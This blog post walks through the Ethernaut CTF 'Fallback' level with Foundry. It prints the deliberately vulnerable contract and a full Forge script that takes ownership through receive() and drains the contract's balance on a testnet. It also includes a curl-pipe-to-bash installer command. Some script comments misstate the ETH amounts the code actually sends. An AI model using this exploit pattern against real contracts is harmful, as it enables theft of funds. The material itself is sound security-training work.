            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qiB_RAuCe7KbvoZVA2NL7A.png" /></figure><h3>Ethernaut CTF (w/ Foundry) : Level 1: Fallback</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h4>Installation</h4><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h4>Folders &amp; Structure</h4><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3IlGZ2MS0AhMqk9Z7j5og.png" /><figcaption>Challenge 1: Fallback</figcaption></figure><p>This challenge requires us to find a way to take ownership of the contract and then drain all of the funds, leaving the contract with 0 value in ETH.</p><h3>Smart Contract Overview</h3><h4>Fallback.sol</h4><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Fallback {<br>    mapping(address =&gt; uint256) public contributions;<br>    address public owner;<br><br>    constructor() {<br>        owner = msg.sender;<br>        contributions[msg.sender] = 1000 * (1 ether);<br>    }<br><br>    modifier onlyOwner() {<br>        require(msg.sender == owner, &quot;caller is not the owner&quot;);<br>        _;<br>    }<br><br>    function contribute() public payable {<br>        require(msg.value &lt; 0.001 ether);<br>        contributions[msg.sender] += msg.value;<br>        if (contributions[msg.sender] &gt; contributions[owner]) {<br>            owner = msg.sender;<br>        }<br>    }<br><br>    function getContribution() public view returns (uint256) {<br>        return contributions[msg.sender];<br>    }<br><br>    function withdraw() public onlyOwner {<br>        payable(owner).transfer(address(this).balance);<br>    }<br><br>    receive() external payable {<br>        require(msg.value &gt; 0 &amp;&amp; contributions[msg.sender] &gt; 0);<br>        owner = msg.sender;<br>    }<br>}</pre><ul><li>Upon deployment, the owner variable is set to the msg.sender. The msg.sender is not us, it is the Ethernaut deployer that deploys a new instance of this contract at the beginning of the challenge.</li><li>contribute receives ETH and updates the contributions mapping to store the value sent in to the address of the user calling the function.</li><li>withdraw has an access control onlyOwner modifier — which only allows the function to execute if the caller of the function is the owner. If the caller is the owner, the owner will be sent the entire ETH balance of this contract.</li><li>receive is called automatically when ETH is sent directly to this contract. Upon receiving the ETH, the require check will revert the transaction if the user sending in the ETH does not have any value stored in the contributions mapping. However, if they do, the user sending in the ETH will become the owner — overwriting the original owner of the contract at deployment.</li></ul><h3>Attack Strategy</h3><p>To complete this challenge, we have created our own script file FallbackAttack.s.sol which will execute the attack with the following steps:</p><ul><li>Call the contribute function of Fallback with the value of 1 wei. The purpose of this is to add ourselves to the contributions mapping so that we can successfully pass the require check in the receive function next</li><li>Directly send 0.001 ETH to Fallback, which will then execute the receive function, changing the owner variable to our address — making us the new owner.</li><li>Call the withdraw function, sending us the entire ETH balance of Fallback.</li></ul><h4>Tips</h4><ul><li>Make sure the fallbackChallenge variable is populated with the specific instance contract address that Ethernaut gives you (mine will be different from yours).</li><li>Ensure this script file is placed within the script folder.</li></ul><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>import {Fallback} from &quot;../src/Fallback.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br>import {console} from &quot;../lib/forge-std/src/console.sol&quot;;<br><br>contract FallbackAttack is Script {<br>    Fallback public fallbackChallenge;<br>    uint256 public privateKey;<br><br>    function run() external {<br>        <br>        fallbackChallenge = Fallback(<br>            payable(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e)<br>        );<br><br>        privateKey = vm.envUint(&quot;PRIVATE_KEY&quot;);<br>        vm.startBroadcast(privateKey);<br><br>        // STEP 1: Call the `contribute` function to update the mapping in `Fallback.sol`<br>        // So that we have our address stored in the mapping with more than 0 ETH<br>        fallbackChallenge.contribute{value: 0.00000001 ether}();<br><br>        // STEP 2: Send 1 WEI to `Fallback.sol` to activate teh `receive` function which<br>        // will change the `owner` variable to our address<br>        address(fallbackChallenge).call{value: 0.001 ether}(&quot;&quot;);<br><br>        // STEP 3: call the `withdraw` function of `Fallback.sol` to retreive all of the ETH<br>        fallbackChallenge.withdraw();<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><h4>Executing The Attack</h4><p>To execute the attack, run the following command in the terminal:</p><pre>forge script script/FallbackAttack.s.sol --broadcast</pre><p>CHALLENGE COMPLETED !!!!</p><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*zWr1PFu5spyaPpLZmzuuKA.png" /><figcaption>Fallback Challenge Complete!!!!!!!!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b3026b513de" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>